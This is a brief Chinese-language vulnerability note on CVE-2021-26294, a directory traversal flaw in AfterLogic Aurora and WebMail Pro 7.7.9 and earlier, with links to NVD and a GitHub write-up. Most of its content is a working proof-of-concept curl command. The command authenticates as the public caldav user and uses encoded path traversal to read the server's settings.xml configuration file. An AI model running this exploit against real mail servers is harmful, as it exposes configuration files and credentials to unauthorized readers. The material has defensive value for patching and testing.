WebMail Pro 7.7.9 目录遍历 (CVE-2021-26294)

# WebMail Pro 7.7.9 目录遍历 (CVE-2021-26294)

7.7.9及所有更低版本的AfterLogic Aurora和WebMail Pro产品受影响，允许未经授权的攻击者读取文件，比如数据库/用户配置文件等。

PoC：

“`
curl -u ‘caldav_public_user@localhost:caldav_public_user’ “https://sample-mail.tld/dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml”
“`

ref：

* https://nvd.nist.gov/vuln/detail/CVE-2021-26294
* https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26294-exposure-of-sensitive-information-vulnerability.md